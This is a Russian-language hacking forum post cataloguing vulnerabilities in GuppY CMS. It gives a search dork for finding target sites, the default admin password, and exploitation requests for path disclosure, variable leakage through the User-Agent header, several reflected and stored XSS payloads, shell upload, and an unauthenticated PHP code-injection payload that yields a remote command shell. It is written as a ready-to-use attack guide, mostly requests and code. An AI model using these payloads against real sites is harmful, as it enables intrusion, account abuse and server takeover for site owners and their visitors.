Уязвимости GuppY CMS

Discussion in 'Веб-уязвимости' started by Root-access, 21 Jan 2010.

  1. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Продукт: GuppY CMS
    Сайт: www.freeguppy.org
    Дорк: "Site powered by GuppY" | "Site créé avec GuppY"
    Уязвимости приблизительно отсортированы по возрастанию критичности

    Уязвимость: Раскрытие путей
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров даты в скриптах inc\calendar.php (функция mktime(), параметры mois и anee), photoview.php (функция getimagesize(), параметр pg).
    Раскрытие даёт функция mktime() при обработке параметров mois и annee.
    Эксплуатация:
    Code:
    GET inc/calendar.php?lng=ru&mois='&annee='
    GET photoview.php?lng=ru&pg='
    


    Уязвимость: Вывод произвольных переменных
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в error.php и thread.php
    Атакующий может внедрить в php-код вывод произвольной переменной. Происходит это, поскольку входящие данные записываются в следующем виде (на примере error.php):
    PHP:
    $mettre = "<?php 
    \$err = \"$err\"; 
    \$msg0 = \"
    $msg0\"; 
    \$msg1 = \"
    $msg1\"; 
    \$msg2 = \"
    $msg2\"; 
    \$date = \"Date : 
    $date\"; 
    \$dest = \"Page requested : 
    $dest\"; 
    \$source = \"Page source : 
    $HTTP_REFERER\"; 
    \$browser = \"Browser : 
    $HTTP_USER_AGENT\"; 
    \$addr_ip = \"IP address : 
    $REMOTE_ADDR\"; 
    \$domaine = \"Domaine : 
    $domaine\"; 
    \$with_mail = 
    $with_mail
    ?>"
    ;  

      
    $id date('Ymd_His_').$err
      
    WriteFullDB(DATAREP."error/".$id.INCEXT$mettre); 

      
    header("location:".$site[3]."error.php?id=".$id);
    В самом error.php файл БД с данными из $mettre инклудится. Выйти за пределы кавычек и выполнить произвольный код не получается из-за addslashes().
    Но можно вывести переменные php, доступные из этого скрипта.
    Эксплуатация:
    Пример вывода DOCUMENT_ROOT
    Code:
    GET error.php?err=1
    User-Agent: $_SERVER[DOCUMENT_ROOT]
    


    Уязвимость: Пассивная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за причин, описанных выше.
    Можно внедрить в php-код вывод произвольных переменных, в том числе из $_GET[].
    Атакующий может сформировать страницу, на которой будет присутствовать пассивная XSS
    Эксплуатация:
    Создаём тему, в заголовок вставляем имена нужных переменных:
    Code:
    POST postguest.php ptit=$_GET[a]$_GET[с]
    
    Теперь вызываем тему с дополнительными get-параметрами:
    Code:
    GET thread.php a=<script>alert()</scrip&с=t>
    
    Разбивать вывод приходится из-за некоторой фильтрации, которая не пропускает закрывающийся тег </script> целиком из-за строчки в \inc\includes.inc:
    PHP:
    if (@preg_match("!//|/\*|#|:/|\.\./|%2E\./|\.%2E/|%2E%2E/|document.cookie|/script!i"$_SERVER["QUERY_STRING"])) { 
        die(
    "Requкte non autorisйe - Request not allowed"); 
    }


    Уязвимость: Полуактивная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации в модуле профиля.
    Атакующий может с помощью специально сформированного запроса создать страницу с внедрённым js-кодом, требующим для выполнения некоторых действий.
    Эксплуатация:
    В профиле в e-mail пишем:
    Code:
    POST user.php uemail=" onmouseover=alert() asd="
    
    (IE):
    Code:
    POST user.php uemail=" style='background-image: url(javascript:alert());' asd="
    
    Это даст XSS в поле подписки на новости (событие onmouseover).


    Уязвимость: Выполнение произвольного кода (заливка шелла)
    Условия: права администратора
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров загружаемого файла в скрипте admin\inc\upload.inc.
    Атакующий может загрузить на сервер произвольный файл, например, php-шелл, который будет выполняться, поскольку файл .htaccess не сконфигурирован должным образом.
    Эксплуатация:
    В админцентре (admin.php) в разделе "Файлы сайта" (admin.php?pg=upload) заливаем шелл.
    Пароль от админцентра по умолчанию "pass".


    Уязвимость: Активная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
    В скрипте user.php есть строчки:
    PHP:
    $uwebesite = strip_tags($uwebesite);
    ...
    $userprefs[9] = $uwebesite;
    ...
    <input class="texte" type="text" name="uwebesite" size="40" value="<? if ($userprefs[9]) echo $userprefs[9]; else echo "http://" ?>">
    Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
    Эксплуатация:
    Аналогично XSS в гостевой.
    Code:
    POST purl=" onmouseover=alert() asd="
    
    (IE):
    Code:
    POST purl=" style='background-image: url(javascript:alert());' asd="
    


    Уязвимость: Активная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле гостевой книги и форума.
    В скрипте postguest.php есть строчки:
    PHP:
    $purl     import('purl''POST');
    ...
    $purl CutLongWord($purl,80);
    ...
    $data[9] = $purl;
    ...
    $fieldb1 addslashes(stripslashes($data[9]));
    А в скрипте
    PHP:
    guestbk.php
    есть строчка:
    PHP:
    echo "<br /> 
    <img src=\"inc/img/general/gbkurl.gif\" width=\"17\" height=\"17\" align=\"middle\" alt=\" \">&nbsp;&nbsp;<a href=\""
    .$fieldb1."\" target=\"_blank\">".$fieldb1."</a>";
    Видно, что переменная, содержащая адрес сайта, введённый пользователем при отправке сообщения в гостевую не обрабатывается должным образом.
    Эксплуатация:
    Code:
    POST user.php purl=" onmouseover=alert() asd="
    
    На выходе имеем:
    HTML:
    <a href="" onmouseover=alert() asd="" target="_blank">" onmouseover=alert()</a>
    (IE):
    Code:
    POST user.php purl=" style='background-image: url(javascript:alert());' asd="
    
    На выходе имеем:
    HTML:
    <a href="" style='background-image:url(javascript:alert());' asd="" target="_blank">" style='background-image:url(javascript:alert());' asd="</a>


    Уязвимость: Активная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
    В скрипте user.php есть строчки:
    PHP:
    $userprefs[8]= trim($avatar);
    ...
    $userdata $userprefs[0].CONNECTOR.$userprefs[1].CONNECTOR.$userprefs[2].CONNECTOR.$userprefs[3].CONNECTOR.$userprefs[4].CONNECTOR.$userprefs[5].CONNECTOR.$userprefs[6].CONNECTOR.$userprefs[7].CONNECTOR.$userprefs[8].CONNECTOR.$userprefs[9].CONNECTOR.$userprefs[10];
    Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
    А в скрипте есть следующая строчка:
    PHP:
    <img border="0" src="<? echo CHEMIN; ?>inc/img/avatars/<? echo $page[23]; ?>/<? echo $userprefs[8]; ?>" alt="<? echo $userprefs[1]; ?>" title="<? echo $userprefs[1]; ?>">
    Аналогичный вывод аватара есть и в форуме, и в гостевой.
    Эксплуатация:
    Можно внедрить JS-код в обработчики событий объекта img. Например:
    Code:
    POST user.php avatar=" onerror=alert() asd="
    
    Данный код кроссбраузерен, на выходе мы получим:
    HTML:
    <img border="0" src="inc/img/avatars/ava_1/\\\" onerror=alert() asd=\\\"" alt="ahack" title="ahack">
    Понятно, что событие error всегда произойдёт, а значит код выполнится.


    Уязвимость: Выполнение произвольного кода
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в postguest.php.
    Атакующий может внедрить в скрипт произвольный php-код.
    Причины описаны выше (я тогда не понял, как выполнить произвольный код, поэтому написал лишь о выводе переменных)
    Эксплуатация:
    Создаём новую тему и пишем в заголовок:
    Code:
    POST postguest.php ptit={$beched{system($_POST[c])}}
    
    В результате в папке /data/ появляется файл docN.inc, где N - это номер темы:
    PHP:
    <?
    $type "fr";
    $fileid "90";
    $status "a";
    $creadate "201001242210";
    $moddate "201001242210";
    $author stripslashes("beched");
    $email stripslashes("[email protected]");
    $fielda1 stripslashes("10");
    $fielda2 stripslashes("0");
    $fieldb1 stripslashes("{$beched{system($_POST[c])}}");
    $fieldb2 stripslashes("1");
    $fieldc1 stripslashes("trololo");
    $fieldc2 stripslashes("");
    $fieldd1 stripslashes("");
    $fieldd2 stripslashes("7");
    $fieldweb stripslashes("http://antichat.ru");
    $fieldmail stripslashes("");
    ?>
    Фигурные скобки {} служат в php для отделения в кавычках строки от переменных.
    Таким образом, при просмотре темы имеем шелл:
    Code:
    POST thread.php c=ls
    
    Надо отметить, что подобная уязвимость в данном движке (error.php) была найдена уже 3 года назад, но до сих пор не закрыта (пруфлинк).
     
    #1 Root-access, 21 Jan 2010
    Last edited: 25 Jan 2010
    8 people like this.